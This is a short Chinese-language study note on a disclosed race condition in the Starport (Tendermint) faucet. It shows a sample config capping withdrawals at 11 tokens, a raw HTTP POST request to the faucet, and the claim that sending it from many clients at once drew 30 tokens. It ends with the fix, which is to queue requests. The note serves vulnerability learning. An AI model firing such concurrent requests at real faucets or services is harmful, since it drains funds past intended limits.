漏洞学习之Race condition in faucet when using starport

P小二一条评论

链接：https://hackerone.com/reports/1438052

详细： https://blog.credshields.com/race-condition-in-tendermints-starport-7cebe176d935

accounts:
  - name: alice
    coins: ["0token", "200000000stake"]
  - name: bob
    coins: ["500token", "100000000stake"]
validator:
  name: alice
  staked: "100000000stake"
client:
  openapi:
    path: "docs/static/openapi.yml"
  vuex:
    path: "vue/src/store"
faucet:
  name: bob
  coins: ["5token", "100000stake"]  
  coins_max: ["11token", "100000stake"]

这里有一个配置，配置了coins_max 最大可以取11个token，但是呢，可以利用多线程来引发竞争条件


POST / HTTP/1.1
Host: 172.105.41.242:4500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.105.41.242:4500/
Content-Type: application/json
Origin: http://172.105.41.242:4500
Content-Length: 63
Connection: close
{
  "address": "ALICE_ADDRESS"
}


同时利用多个client去访问

发现可以取到30个token

主要修复的点，其实就是放在队列里面去请求。而且这个项目，代码是开源的，这种情况是可以去审计的。